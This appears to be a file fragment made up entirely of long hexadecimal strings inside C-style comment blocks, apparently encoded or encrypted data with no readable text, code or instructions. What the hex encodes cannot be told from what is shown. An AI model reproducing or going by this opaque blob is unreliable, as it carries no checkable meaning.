c69f3c4ed133c1bfa440dd15f401bf18b0ff5bdb695b9dfd6617a5e75e20fc7ede7945eb69cc9282b4da82ba2540ecae82cb9e5ba691887e8cf01eb04150485319d004c6ac96e3d8f7e8833cae61868371110b13a8cd1a33f693e1e382419c0752eca07e39870a260aeebabc95e0e3f4d657e9aa44a3789117f45860360f99c9d1e08e5e3b35f1e2fa2cf63dd1a95d90e641b86f0e5df4aee9df8a324ef5564e0c8940b80fa0609f2cb3f78c97da765432c23d185288195e666026edb81a82a8c97d71159ecde6018181e8f78318abcc8afbecad6bb99e62f4664d580048bdc1a39b79f90cf2b014a535723e55283c182f9d6ebec3ca6451621573067891493b8c9aca5aaf06a683150949d0fc29fc908b632c32ae7c6c278f55291aea35b3e9ecfec89b3de1b13b8f9ce5c822c3bf40281e9ffa052ac6e0fb4ddfbbabdd9f1a4a5fa94fe4001c0476792b1c5f10bfe30bfff3628508010a238961c2258de47c0bdf2b56125722adae5403d6e00725dc23ca28c05e4642b692f805bf99bfb32acab7dc3062c22b87deb89aebe7a4d871dd05b2473acd7793fdef1fca3eb6399b681777228f56c430a5e28de656f939f8969b09a8f27d653d773e3345ac026daf13c59eed472f5b122f91761cbc0099a6a9e7e76c277e1033c1b918318a5fd4f67c71f3babb84968c702094e87152035e4e190e7d84b0304e1103ae7e750ecc2efb4d05ac5742a6bc986b6905e583f2e731f7525be8eaa07ca937a059b271e22225bf02cf8571ad316a3c7d731ac3de340bd923364feac59d96fe04710a8b663b7f7929174a0abe625e6b471a8703f7d1e87c2a696ca25f43d055f3c6dcb8d930215656f3c63dd05290156681c1a2949c94a161d341c5a3c232e0c2cb088d22d75634c0eee3aa24716cae850e06f367a3c952e90d40d33c63b5c11b32cfe95c226c5ba27923f7cd279c93a19e9e55fee16b2a728f862ea86c15ae8c4c789b9e7ab750ae2b548a78ce8ec35c19d40c013ce16f2cfe37cbf3866eb9aafadb2875a66da81e36bbb19edeeb883edae9f37c3da0495920ee77d28cb1aa91bed4409f955a7cb62870889ae24ac71c4755100b8e346555871c7209e564b308966db18e469f9ede2544d69034873f0cc29969c229263ae00258e52dd2d22a018a6f4d8ef3350575896c40b4467968f4ce485c8f88e5f32f3367ff54ef748c7cef1a6bd5604c98bbf220705f444483d0a45b56bb23abaaf13*/
/*2a788fa422503599921c9e31e4b45447d047a1892a40a3aa9066d30eff4a3b6199063ebfdbd5361ba124f467e0d43920458331c5fabc289ff0222b6623e757b13b2dcff2f092c6e55db7cc7e524a0e524dff52298c46b63e79d12f549bf67d152ad772fc8f44f4185b0f49132b2d4b4943b65d790440684311657fd805d891561af87c598e4c8c11b30a1e68e4411e34b8dce09add14c380579faafaf7e425fa4bd38f598c2394e857590fa5b6f10eae949daf402e3ea8121361650a73b623ddbf9e72bfc49565171027a0e40141875967608bbf802ffdee8bbab6ee191d77ea544ea41a8aab619acec5701b6469afcb220fc563301bd1bb0527c1c527dd8782fa0c1c7e740eaf8c5c09b922efce64e88b08e7d698cb0fb38921166c694f2c2e767238c5e91d33c156b35f6d5336238d80dd833eee6a232bf8227ad9d5f7445b3ef17edc4d52876505093d54ba3cb452ecc461952ee09aa3ca31b6f03307150cb90afbc22be67f444ea21e8f720f43f60deecb124d27f7126baae698c9815f04f08f515568ac5188ce509d87b1045099639218734366892598438499c62a2db027fc5cf3ed791c2efc47202e067af874d3b7c874c44dfd10be3b734bfcd65d0c50c44b97f650f582e199d9e47eab3e8d5f433d65290fd9ee6688ebccb3d5634d7e268dd94303d1ed3a4b8478bf53566752af616d3900d401d9c13a8ce342cb43df387dedbaf665a9f6805e866f956eae3bbb625d1dddc7daa85012d5d4e8c4ce72754b1415e7265fde2042da69fb677f11f73e889b81e137fc379d0ed320b9d5192e6085068b0dcf78ff40ac2d072c1f03697a14ef54e878535c8d188875b0dc41365a956f5bb3802a20dd23f5ead96213fc41ed613317cccc1f4bf1486f268d1eaff41c5516f7c3808060337bf2ffc4d74249cea1d639fda735b9b7b26cfb8e83b4c5fe3b4f7e8443eb72c0330c7cf53404ce6a627cca882aeac8e04b3bd1de4f5708349d3c2884e073514342898debccee8a3ffd1bdda4c9744d5cc464d110169b0c6d1aebc8d3df5aa145f07022c1d2876f0033eac7afd29822055aa13e819247c3132dc618ba403d7bb2ecca475b6cd25a2ea0e59515900f5ba7d95aa5d974282b7d0835221c9e4bc48fe7c2d693478b713844ad05c26acdfd5e73adfc24431228ce816c8de51444931ed9a11adc39ba3a53524b622a67f5b77b16194cd7a5544c2006e2019634ebb6ef6fdd7d9699d71e729cca4f2e28c35e05d505b15aab9b5bd68fb64dae7d7a2e8dff10f678f87f5448cf7672169a8359521d59171527214d3f798f8b54e2a6127a8654262278839c80f6a5673486dec66c67f68482c9ed0ce065518c07fec3c68132a807219cc313e3ca37c074a74bb6c2019cddef0e6b23c7eded5e97b5e41d86f1bd8179421fc32681f4dfa2367d87ce07aca82858d7bf7aa8a6d30f6b0e8ce9fe55c0e511ea1c71f2e6f81bf40db46b777a3a985e2d93b93ef0ce74ed2079711659c3399f14b7aa963eeee3f2b4e196d4d57ae91115d6c4c54301e4dafed92b917c1ba972e024d41bfd6fa4bf1a715e17e0ce1aa82a5cd45e45d0ed40165883f2efbffcd162210f594e9f6417e3050baf7ce7623c9ccaa235da4259cf122239f82c4a36933d6a60cf698c00044317910fed342d5f2cd571a66403ae6be3b6a5dfe60226fece3f289acb6dc2c3e93963bf395915cba4e37fcbd09b9efc7c1302b1121ab61c953bd01775d462bd0100e76e8cf687ab60d160a9413faab4732b342627626f728168575cfedd321317871121dd6d0c840d8914e421fbf2dab942072bb0f2021e523f7459872ebf4d4472148f58757a2f437c67eb641e2182f97f6955da03db5e283081e7e2f5a4f9f72a5ee82f76e7110d10b88eaf7d4b161554143195e80529291ea57fdb34290d5f4b65e5e6ad7f82b31bcc1146ff401e974113704a7c8a68b75e3ff23d7b2ab06f178c2b6bb5e30cbae913d8f69a5d34dcd550e2f6cc927dc5d7c9771cbc26148469cf4334f850ad88869037f125b1a1ee4bf17dcf57c8034905b33c780b4070376665dcaefefb2a121e5850c1cb0ade00464a0fd505174f7d455843b98884e57561f508a34afa7d9d6d79d133d31ed0b3040130e6b22fca398b37ac93cf506b653616967503859c7492d900676539c272277deda4f52e517ee8dbca5bf72df0f24cc85baaa76a49b83dd47af2c46b5442e5c500eda5118fc076656ae95c680a93181dffc3a633c150a271057bd928657f0f6036372d05c2201e52422c6ecf51b025f27f9f4bd7922086d558990abf79d1c78af67bc3ca1925af260af7f20a4135296a2c87ce0287e34c7a19c91b34e93edab5c9fd9ed2d17b278db9c2849016de12f1dea88fa696b6ff5df51c7924867abc38cbaf76b9eef5106a34a75276c8f6e03292c09c1183ada84450e1b3c4c9cac397e3c46a351748de15bdc9576c41caef3e5a875de50533903c4f8ecda07058f56f180b255b08e2bb31909d97393e4583d74808a2b323327194acf7c0bf8607e5068a64d38926900cc6b2191e5eabc1c211e10ea1ca4f35051c5a7d6c1d96b7a6e00d856a59b2d55a27b51ab9e7015e7a50cf6e78b27654f65c66f3daedd46ae934c25210423d54ba72918b6041eaec40e17b3d1f5f51333b257608d0613d1e937567e048cfa76aefb6c12847924cf59c7a0e16b73d329a2841c716713a026eeced9890eca7784b4ea829646acd569400e6248ca125d3de6d3b527727caaa512856afb235161de0aca8a1eade46714f0b2eb4c152066fd960d4d4399d1ae5c5f67b00f664c5*/
/*527eaf4a93ad1e5e5617778ed5cd653160f6947bc61b730df6be5314261b7f5b28fdb47345fc993d87ef304e7081847a22f779f7664700cc2d080f09d7054609936903f7f519dbf105e4ee8a28616ae80afe94205bb99afee8bf6b06fcf3a065ece60a9dba88233b54729f9cfc1cff0c7dc087a3ab45787326a15c5c8cdc511704a729361608826da6baf8c35b5d1ec9e510819b9701b9194768f3ec1187d2b54ae59093276f0ecf0c1426c7ca7dbfdfa53f1da49c1c6e1d81ca2f33e22e1c6f42c17696f27ac21e8cdd69eb2fcf67efc429338abad5b1041586f34b221758b27e37a5d93b0da6541af0cecf712053bb7f710f8f0d627e0f4d9ba09a79a12465a06e2f9cb761e850094d0a2a415fc1b4c265a673edcd0d6cc59f1dbd87c9ccce6a071e7d68e611e2fa4bcfa3eb8bb6b673a57b50a68da3f0d35d5b67be9220a425ff5a00498003c95feda7690040dc145574ec6e726051664a262a70a06a2b4e7d2020e69197fbff05ba35c435606490a51b39df759097ae2e34d569197294edaae465ec5dc0b913b871cd8946ca66586d0ef1068eacfaad34f3e3f5d1431ea2e9b127d665cb7df74d210cc11b7b1ab5cb09d55c356d24ac3a6c07d022fae749f433d339bfcbcff5bcdb106c7a397d2679b34dfcf3916aa8735acf1825a15cda28799b1735cfacc0b6774c561c52a93561da1ad4bcd30fae348fa48997e495f9ec24f22ab6f79315594f9d8d5f831097edc6586c07be1e889bf29608ea86da591c2cdab7efca8722a8d12d82813d2cabaa9264634545893cf276fe1a1a7d8ceae2711fb2294f16a60d0494a460eb617cc457b7522f5b959550785e8201015fdeb4d0e66645cf79e963ebd8db87044607f7fe03eeaa3fc13e1943071fa876d2a318bc623539c79239517ee5c16d4249c5dd3f94212badcb255bf345fc101ed14f899b619d40b38a4b777dd702046da14d30fc2bc56aded914c379f20338314dfbca16adcce8c7e42f501b9cb5273296b548c5533ee0c617b3e6eb14c30d96e6e569103d31b24537382f6a2fb054263d90997ab60513f08e192c3a3fecb34ae51ca49508bc55b6c90980d65df6ab7226b1068dfcd1d61398cfd9127001d4aafa34749f408546421d129817783bb751829cbef14c0312b3da35998352606889b5c9fa95a8ac6c7c1a3e1218ef25e82f7768ee6c4bf3cb5d246243296409130c962d2a412bc140d813ddea6c97b7ec90cd4783e7f48148d7a95029fb2b37845db7d29e9ee9afb64f53014a3ad9efec02bf9e9debf0226cb601cc7cbbe31f8f561ad7900cb3e0949e1fc0e6b3c21b34f7994bedde990c7dd3700199af4870587b19e533c30248b6d0d5f0846f6a24ed0a74ef117809620958eaa5b6ca6552cc1c447aa965f55fe18f1a018fd1ca3c1ccc951dd5a58cfb9ba52f6945a936375ce98b7ae5e33eeae55059bf135e6d4cbfa49aabba0fa015bc61efec028ff115edd536787e7576673a28a9df69e7eea284aaca6fff64922a991f2da54326d0caa7cd39d6b0d9ea9c5efbe593e2e42575fba17a4b8fabc529b28686dec0919abb4753c31590819b41803b0b887f48748b4ce0436115e7dac6f553791fae0998abf89212f541c06bf8937ec002538044a6079b8c6ee512a0415573e3c0904be220aafc283d35dcc6c28a0f46adb9f7d883dbfc201c48251821e5227ce0f6ef6c2bf5f23f28ba22b047a5f1f7c0d94da1ba3369d3804971ec267a84f46f96f10fdaf314c8f4ca960c29cafd1a27c21a4e9ed18b0a5857c79ea8e76dba3a46b36b753fda077a872ad4c424b4554b245b5fb743dc3d39917174a629b39028eac4c936f1a031b77d6168c1a81c09260e7d6ecdc6fbd86d8cdd21b5a959ab0fab8bd58905c142f0a849c2d638b424f6349c0f652dbb539e0952cbcbf0cbffaa6a28e38a59e3dbc48683ba2bbe5fbf9d75ee3018e8afbdcdffc15ab0dd6c83e86fe5782a74015490fdca0246d50e0ca4b861a1c020548907f1cabb68d0a0caacb88c1d17e4ce1c53575b78b108697840fbbff150cd31114950e00636f5ca3e625638b2d0743831cda6dfcaf634994a5513a7ecb1682c46d82ec86d8ee7fba04ec894e7d4a7610a6e9cdc33a398dfbcacb6d3134838726d498d09985d73c313ac2eafc14ebc0dfd24d56fe4a1da3a0f75ca6ea3daad5e29723986e93926c5600da32dbcfd83bbec9554d26689e2296561c034127e5d4d7d7432c1436bcfc25a14b52f0cd49a5ae09fbd37db993f0be973fe3d6c1080ba057247aab40d9d2743f2a3bc6eb44abc40c709f962a9cff687b6c8363dc558d00593b8ea22fba4de5872effe3fabe856c30cbd645dda8b1cee3fad3f69d25c8ca20f3147bf724e3832b4c3fc24f42ac5a61acb981133853561fa9d6771cccc9644cfe2298f57d2c2f17c8a56803c33cff909eefe319958e28528563b35949c56972ddb06405c07707e7dc21119475faf6465d7c62b16a7b035ab853b20e56b8690f58e42f5c28c37a0d649eddc73ec27759f047e7a336ddacbbea0e1a48e6705809d7f12e172a1b1556a2e41e49a1a3d2c3394a16e3442a89b1eb76f856513bd09490808bdb0024bb28e66787d32f72decb13abbbe16f51e1a9df2ee07800aad5fc1d910764920aa8860e3599872c5db6f5a7582fbb1e0b9c0e17b33f72f787af4a965a7c08ccecd2fca8d779a68b2372f89647d993eaa15270b7630377e1b66744df1671858847a652044eff6aabc71f43e216d55e4b7ba35eca41c9bcf2d379b28f71c53a0260eb29000bc8576c2ff1711c8dc2d5d548b78779d56906929563c32*/
/*f854d30bf42c40a5273a0866f33dd5008f8ff1c705ab900cbcd2b608d5c3ac477d10ce87a6994b0a0f075b0eecaa4ba663b402a9406bd082256cbeec59430b19228fd66bef6127ac1a3a229c2fd1faa142b2638f9dafc794486a1d994110e9c5a5a36b778a7b9502ac8016d10bf68bbe1bb3bc6ca9711b538280b4060d837e035eea49c94cfe9ae3c77b5ed3e19eb2619ba2f94b247407c9f7f347c60c0de147822c47d29d1802699cb7e0e8127de37fc42eb2ea453e72a12f58da051ffde35dc41a312a7cc111f8289c579de08ddea0df94b950bcb7c4454e90093ac0981c3da7b0336e8d146ce235e08cb320d623688e5f3c70190c14c285acd76c70abd9f0e9b2f1ae1d1dc57c2ea2a8d6859b1cc2a21b9a18fdc7e942f4aeb8c3a7d7154d7d10e76019a214034ec861552913cc99a0368f953f7eb2c8f3ec3e72d62c5b91ac0c54ba2d5ff19f37bb9706a147e350f81912a714417483d73b473779bbfed550c26ca6b3edfcbbf3f133f116e1c5360f41e61017b99b5766b63bc2bc7e92f8ba62b98edc5d67bb45f203301fdedc6c1149b56f53e1b2c5ddcdb88ca5547cb15c905e275e27b6c9822b76a1696e363a68b915f94c7908c9c0a920b704432754f0288085cb8de59c16883b78693100d6fdc79afbb8da00865d25a04dcfe5287e08af8b0b1950bc43dfa8a97adeb7a7f709ad3f594c6b39ecf12175f5f8dce5b6560ce37b8b293d6a5d1d8a1a2defafa6b2bb1bd4917d45e5da3de9f3855bce53a5b6e2e9e587bbed0f4a078bff18a388ea2aa9e49ba425ddf43f996445b1a283ddd0d01050b32b84af3d83414b528115125db2504a3d0949d9bd1c0d786770817392c8e0cee7ea2b436342a271efd0dd6d9e04e40b25af55006f9d603fca3b2a8d8c829266c0f5666148af3156244976f2a5ad071483ff2e479ee5232fa6e734651ea1bb1a48aaa6dcc6cd059b28f85c1da1c804d814b87fe232bda181b7dc8c63e241873ad9445c0621469ad6964b48fbeac3be4b1eb6774a09a069ddffac0b45112ae0bb2c4ca157825801b21a0f7cfb53072a590365ccce7213a716cf59b3ad98608c0156e8a9648e575b0631e80bbde54967639a976ac96c78aae94f901a4da342cf32ebae684f7edb014ad87145abcef976d6131190f4e24f960fa6dc09f99b6a8f932bdba2d9dd3f4c851424d3afda6435eb77096e09f6d8f484e03cdba8b73970df4b2f7222f52578c322f65cfb99a5e06da215c6c13adcabdbb9f20b679858bdb4deb09df5d97321ddadc3fe9fee98544588562c71868d73158d6de64775680bc6c7ba8e5c3bcf56e1034f43c265bcf81225081a788ade624da55e5837178ea66f56a8eea45c85dcfb73e5c3198edc4e1668602ae685e1e3e6b8600a4de4348e605d94da30a2517b2a9813ef92140c79f4caad28a9ce8fb5fe0316bd3024e49b71056500bcb98a0a0aa4ea9326431f53f2e2353c71a3fffb07abebec18f3547b56365900af68a7b51782d5c96abeb9e8e95eaee313ae3d9a00b38de26a0089c9dd9aa3d4c4db4406776e38ae7ce5c1a89c4c577e6c9b6846cecdfd36f266bee9dc1e1af2500c9116586d129291ae9558f85e5bbdcc3369926a9d28c349581c4c5894eb0bbb6b4b1a03cb1d6e764a99e5ccbd7501dfa32b98a03e0896aca1a1a242d856d84abaf17dfcc9c873893f638d2e29d8e11f065308b1ac2be0cd159b91101d92287e918144f775a77fa2af1cf7f6cee12642cc5430d87cd825bba5dcb6346cc117e36468741e022a087f1707d5f7f920d279335cb84856ec8156145824330a234ca5c475dd87d956924b56a53cf24c06b47a0c61772050bbfd9097828bb3fc21b199ba90ba3e802c7bc48f82b6d498c5046853916e9f1253af1a692d90d778552779c65cef1d90b0888bdad4873d6ca8f5809ee7a61935e3e70ccccf671885dd5dabbffe319842968c1e38c448a77eb29011e8c71c9d0d27db43ab5ef117b8cb73a9b05308bbdf08e33a6b23e1f80bee80fe0df6e5efb6211869994a72e1c8c8ae93ccb126899c1adac9b3dc1b4fbcdba0e3725aa2ba94a0d47e973561f97d83900aca89b0e0f1857567e1d7d37ce86fd4ac141bad89a95584f4e163a4a9dbbf0d5100be3b9c9c73b083f5a6dbcc8fbcf62e2ba7e9a2dc73583d40338863c9eb5d666b42fec43af7b0772a5c255c59ad84d8d72beb7c01bfca8b62a6febb29ff0318862c99152085c7debc681b4cce9ceb8e22da1cd5c3470d51fc0114425b9e84fab1d971eeca38ee60221eb4bad8b54aa31f82e719b2c38537513a44a1715744de14d8e4da04bfc1185c61a79f2e584ec8baa35b87d51bfba0cdd7a1524340e2ed8d780c3cd859cb62a767a83e9afeceed52eccb6c51ec2ae53482ba31a3254d53290d18b71d961f93eac2f6a282d4842048a750c817ffbb66afaf2dc0fe077a6cb88b92c5041875810ae6c84117589d5f3e31a5420cff23d7685e87704dd644a2286b21883ca22275fd06fc24e2858096da5f0c9caff6e2923e23e64b4e7ca3018995a90eb96bb8d171bdd2c857d4450677067c067a6c98fa966f9e4f6e316f7726e6c7cfe2f080514d42ed89f91d0ab6498de2b00c140dae17091ed682c7dbddd73fee925cf0be6feb9e17d976c69bd6734780d439090fbb6058da75e5784bc637df914f68c48136a80b38d6d6ca18189341140fd504aa311cfebe5bd84360ed1ee34daf389c83ed60c3ae37a2840c75598c3c04ca42578118e26f9dde2a48ba2a264e78351b450293cf6c0ec837208f6500dd0efb4677d106caa9b7e21d478eaabd5c4a6e99ed*/
/*57dabc6c48fc4d819cdc6b8069613f2e1f7f9ca5cd660bf12b903df577f4a4b57bc51c3b03abb394c9ba4498348f7dcce9a49114b70c976b06bc77c9afae6513c7cea5044eb645a0e24411a08cfd7aaf4b8b2f1d47addae27624b637dabea3a101fd0d6cf7f7ce37751f828014b5ebffcca9cbca4e37f047b654dd4c5175ff8f64dbcd18072b0e6489292e2b508980b1a36e54e2d93eb68e8e4cfb177fbc6171ca1113d00fec0b4cb029194732c65aef07cf57ba75d9fd04d2a60d40e7fb385455d50b242488a61fd1adceb25ed238f115d12dc5a3493eabeb85258789206e43ae6df913ab3619f1fbebef611dd2d39c4cb214bf14ce6c39fcd77c9ff157cf236ca882ccdf82540e3c2bb2aab02006d50f45903f4e4c862b0f3c8efaedfd9df395996b60d4af5ffddbd24a4d50c44f783c45a543a6197f7b6377ea92760820cb96fdaa9313f5088a30d63dfb4ab9f3eefe74893ba0628ec6335d6e447849a71a73ca4a6b8e48e421ded2b91b008adfd66913ac3bd8a907ed56f4849c6571524d82606821b116d95e8cd581a025781e7e230986660c3064c0112af37696ce07ade41ee0df808748acfdf2ecc952cf8e634ff068dc7b7330d4af2207830225288d364a5615492ccc20636d459c188a03e578d640bd56d2370ebfc78c84e7179dd3784c4b24d0e6122cd165739b1432f926a33139769ac50acd4f72145655f73c712de10a63972d73949a4d4bb37706870b99dc2cdb998b7070faffa7f4117589e17990960c2106dff20d793367c19688c92c45eb7c7b911b873b854c758b325cded886387914f46d363d52579d8d1ccce691bd5d800f784f4efe46540c399d9b7ba3fd9a6c40d10fe0f5a8c7036806af83aa8799e661654e1f6e9c84aa78a480d2c6a6edc2092efbe3750dd55cc802ca6ad3b432849cdb91e3899de0c6af7c3cf1ececa4db44e33dec871215d7e5afd689829e6538427ca683b8b91ba692b466cccbdd1cc0e6f591adcd073d4c857ca05c19e1a6d7a80b1e258515d37df84bbb930fe2afea7c18ed01e979db829ce3e20641485dad660c9300e6f192136f25cff975b7072a77f1f7953d2b60e0107b2ed3bb09cd33b598e98cb2c5994361e8cc552a81235eb2ef151c3f69afa7026de8553f98623d98bb4ba05f9cc1fc2e0dce2ab4c880acf36a4e8bce211f82c2f406c06eb6ed38e2d17ab94cd6b4825a832751aa44e04434696cc9b52429d0a9f2598f2a7f249f7da5890327876aff5162dd8ddf5e7db4ca5a1e96646886d9876ab4e95c3d148faf1412dde3b6dc059c7c8d6c62ccf9acc419ce857f690cd8ceb5a6f7a3f026742145cd182c517342f221e5298aa0b54a4026d11e0fd3dbbd919183433c8f269a79a48e7ea1dc1c649dc1db1b192ebb25a93aec64186d86a1f63b64c93143ea560110f9e6151a4976373c0bf2a21d3f9424ba9a5c5aa52db2d32a3dffbd9a994f9aecbdcf7c6b7ce4a1447807b1e71b6659b872f3e87da726f03f605b3835575d27e29561cf19c181fbedef332fd7d2f1f9ecc0754a707d471943085f11570ddc9332b02b0e2192fe7ebfe6ac1d74dda276c0e183b85676bebcb9843999cd94de3c6e45fb850d03890dd5fba13aeeea64ceb35063e0a72449144c643a9b0a54cd5cba7dbbbfc4ffb152ec45715e759136ea37c0005779e735a50f5a83950acbf6dbf27efeb722ac0fd3a66e4e56049f059654c5cb731276baa574f1334a0ac6cf55c652b9ba81b7e0712cd0681eefae9a45a9838daef80b299b04ec80cb82b676bd8d64e3aa411e541953d8f4f5622c204be908b6d61e963a4a03bea025908735515080a68aa0fab0c775fbf972c6f2a22134dee38191d6d871f6b6b85419aa2ff9f739684532246acb6845b5deea6d2cc1735b2be40b922e48975671a3fb2232741412963f21b73614a6ffc851d7868359e4239c276747f9127a1133a47e21fff76c5ab84eea039c0a6953cd1b84daf3501f05bd02c329f47e278874d93a632aaac785aadd70cdf7476b6976e10c233529bfb0460859e2cb24269163639c4249f7d00fe3f4db41944d1575733915df0ecd8c0ff408f38054ab149ebceb267aff951e8eeffcb9c1b942a8e2e39191aa0c173a03434a6dfd6bc8b987464572607053e53ccb567017bf1b58b53221a292862b41fccfce918c87b11702008e8f02436ecbc6950175694c05ae2182d9f25390b455685ad755115730993d0d30e5201e6f089616275d235b83dc9516a00554ac507012ff0e68b203bfd5b3c0df00fe236c47e90a56ad98f1e77aa8a5dc082a407f04e75c6c55227e6e82c2ecbf13da24f037f4cc3c1250dbd11dd385db1af6402c12e5313089f764ef6f6a572cca3ec50a5e13ee4c4f8f412d6b3446607e18a68c32e9962673c793f3ab567eda592721415527aa65d33b282f20ad962dc4902570eb726ebe2b8869c0897644f45d79e5fa954073e3f0dbd321c08e2b50696984eec3bc41423b1c410510284802d97fcd1ffa8140f61ad801621b61a4bce5fe1516fcf35d6735ce78832af91ebcc0cecbe705d1ee9260237f5a59193b3126f0a4f2940911a4889088b2bcfd25bf6f4f772b6d3af2de7b8d916532b6ca097d3788681f77d36fda3472d9512a99171a1cce3acd6849d127e53e35384b6d19ef29ea601cf4f136eae6029fc867f0597bd07ffd9e897103e750d8b87a5266bf3e346f7687652ce3a6d8c485da87397d48b55cda7133d74ed2ccb789125923c39ed9e39459f25c43a9d9994941715b4fcc6d0af6284e580558b87340c4297cb2927e331f7a314ea9e643535d3a1f19*/
/*a0410982edfd5043a65eb0893035e41eb2252f30e5f2b4b57d6c02e62d48a289f524de7ff0ad353fcded218b019edaa8038d48600e8cb6aea4d557bbc34986aff9774fe34f3163ad10d4b45e2f2c3bd43f89cf24f695b796a90d03b16a51a68811ae6b9c9172f2c4c3d0b729f3a16701e7bebb7822f0a1528394a7b0f620a320b40a47feb2d6922e0b3ab30ffec8da1f1703e25c57f6854c6f464c5c69519952cf056ab7babee009aac8d0e235ace685289deeeffd4f60ed6b46bc0cccb121ca8260c9be391afc3ff81de98acb1d91622f38ba7da6caec21c68a2249c477bdd395d7103aeead6ff32ef0ba337df2c616f76a93727101b0ec19817e61fbb85af042ffbfa628eb501d194e3961bc2f19312e26d4e23b5ac899a26a6ee25260f55e4ff35dd51b2420be1cc58058c7544ac541dbdc2af1ce7e470b81d0beb63da286a7fec36d88e825d43b4fc91df02c055b17385ef15626dd89af5704e153d71901814f9f5703d7ffc2a8f59d9c0eaf35e51c908ee6ae1a70bf69254a3bb4aebf0850b8d1de10b691731256d9b61a776c4594b459ecd13d0b9d8fb2d680550192117a3746dff9ccd345321d0c75d1011236b3e15ce2594bbf1f39cecb1f7a76fe0a4c9711ecc5372f9fd89977cd1b4684c7168640efc99b9bc3d5b6c83a7e517707417fd881c18825d40d4e88ac0212d29e5946888c8086d735cb4ad5b6b2ad634527ac61d6a855b6aca0fe2d633e3866605f01590b0dc3aa91ad952e40431c12e9c40aca37f9ed9ebf41d6ec725014b7624d7782b3b1e99cb09f4c58b2d953246e507766a292ca99156da9b49e6768a5ba2a2efa91fc7b4206def8efde148d9eba670db6a856f6d020a961568b3885d5bcfb4d0e1cfa21c8ded359b78e3ebd83d0276cf067799cc967eccfe5cfbd524fb2a51cca27554a9b238aabd47c6edf309aecabe347c2ea4e996b72583f01e98e43491f4698c98e7d442ea153b24a10c1c0e8bdcabcda676c6db8fe32fd39c4fdf7bdf48d95fdff56d16963ce7eee3cea2f2054d0a50734132f7ed616b366efdded373631736747bb7a9790cc9b74196afc3331df54b9e621ab30b24e52b20ad1deee77c1492b3f967f5acadd9c177efebe4ff8fe9a3c1f0ab81613fe1b9c58b73b9cd0b929c26ca84581d34425f8260a5022819097bc65f4abab74ef167ed6209b33a83587746b16d5ce37e70a51988772ec4d0d6a46d1a9c2fb7fd2ce8bc43b10d4c2dc86cc0ba351b865217fe18c3c6fca4cf2b5d87de60f3e9a0f523f44dba1168b7595e2e28a9b4dfaf8a076a0d9fc14302d35db914336a78658877a0f7857759834dc74d3dc657991cfa66fd8ba74ffc87a9236dec271337b0c2b2c9f2511b1103f5e5de8d14348d31554458cdd8abff4e4dd5449324e1f6dd32a33478bfab62110435b857b39470c295d3811ee9b60d4a39cbfa0d2eb0fee659d1a86b157cb6f97379f682dd93c03f5a6aa95680e285e3498943b4dd4c3c7e85beca8d6fd12acaf0627cee3c23326b57906af35c843821f4ac5f30bb7034120d02130a93b378fe5b8f42c37030ac7a19a63d8e41e0975c97961e6de79579cd68e004abb36265565f61c7f5fa80d2b150ac46077811f3e0ae524477759f49a4aa0f1939baa779f80d4ec447ff7abae6b9eff25a8d7202492ac05a0e4b6329782c6628aeaa194d5cd69d1aed64c9004f78adc492aaaa592ab17b5ba9b60ff94d24c4d7b989c7dca7df42e4019b0e66481cfddbb3790e4760df0b6d001a09fd338721c5e07f9c5d0e07817edf716af35e9846611740c04aed8b257ec7477b077c7e5e0c731c89ddb33d15d72b850cdbe488666a62fd0d9ef97defbee9e5d0244f9bd31427ba476d935cd6978fdb1a1b476e81a96dd0a3afbb4cf2e22c058c51a13e18df9534fa217a081b9be15556a7cb39eff6f1a08ae73c88afa1a09fc69fda5559d5d47865804420333310d6ca89d21239e44b3a12bdec2aeca7b1e13290a0c13dbd10ccf1bc80419bc4be5481d3ed7dbd9870df98db8eeca68c073b63be6a29fc64f9c1e5ac390fb0c9308fccfa20347363e4d8d1491080f2c67e779ed8ab2e38a7984301bb9bcf6f1a82fe990d91a792350d393f8d5d870435f041e00122b47ddedb841849060b9a205f15cc52d3b3caffee3153e9864a774876280bf29c4db4c28c1ea5643d3604ee58de2cc5ad3a0a039d76c361fac991b7eb84515ffbf16c2ec0e5fd43057a521f0ab817ff8332659405fb2c56cd2aa758bd9424094b6125d13b94292e044a2d93415c17390c388a2c129e0f8987866a2393e3eacd38d5b94d873c6081727ab1dce8cc2d58eadbedcbf8e34f2285d23e7d742f922d0b37aa93f55c97b53906c32a5df76f40f6dbdd719a676b7b80363c573ec76ebfef43e05303e2a38f9a9d328166a7627520d8e2d56e547d27077ed6e2712f8c9821c048143d19ae1cb78f0351174ccc926dab46d3ac3c1a040258edc811d7d4d0b610b8d4f9c41d0ffb9989aaedda36111443c61435ac949019209ce831394f805f6bd94866ad422ca9d06ed024ffb4bdd7f8baed21ddd45a5f1a4a7eaa5ab25c28c1aff4439c87dc5fea52ea7f0cb440c71dc33af3e6e4bfece81678071654727ba046dba11066760db0f01534bdc6dbdeeda2378bc5462c2e8b142e4cf2632f7c5319376c76f4d60edaa4a39fdd7ac4ab316c9de6591ae06c9dc9f77f98bbdf97ab6c35b26b59aef749862107e68a6d23c079c0900aa046e7927b72a6aa2ea4bb19593b30832ed884e39c93e642037c6b246f1323b0f70fd9b73d3a3084e8997756ae31718dc*/
/*88fa559572137d1dafd3209daff767ddbe1c81d572bca4264a4784dac198faa6156468ebecb3697a02d484f3f607f8a04da8a52d9f774b6b6c70105fd91005ca1902bfef7d1562078dc88b371504b2f4314257bff587f40d9013fd3e512edf1513f5c9ba66191b3936aa4d173cf7538697f7913fd1afe61753bd4dff0128509954204fb48fec94211b97f103ef8726d530df24470720ffb2be0aab6cf13a943e544f5ea8c4c16e8b8bdd073245dc641f37193439513e669b7ea9f02b9281ed0a9f24526b2bb66a573cc81a612c0cccb98b9d3f90b1f9f8bcf1da74fd4b0d5be5a6b1a812abf822223793dd0f79aa0166352c73bf54708499d895f34c7336e5a32a03f5b4262c382af077e3d8aed6542d0671d396e7751bfd5a919fb9c6173c7eb1e511f876a8ef56e867c0fce97c3b1cf8ecba33765174c5febc0e2dd20abc029ea2553f51f85b0530804f7e01dd1e5ee81880b78e14333b19753c2dd88222ee891d13e317bea2be3f4477757aedf67a9a2cb1b89ee5199a5d4b4be5e020917c6f32037dc8c3927ccb1c860f5a428f1a14557f0b1ac11e535c2fba743dc7f10c59442d618062dfaac0b9e9209429ccccb90dd611cdbaf60f5badc86a8995737a420c63ed8e3940002db271c472e9b98c19db7259aa76336b8090b822a84a60309d6903e3005768427bad3c102d084f6f1d96affe95d15da7754d94014dfdb57ca841ce0937e5e4d268c887a75406e300bcf01616245c08e9f1212f2bc94d018cf59eb2a47cf705c4e4bdf765fc4d7e2cf623c581617d6175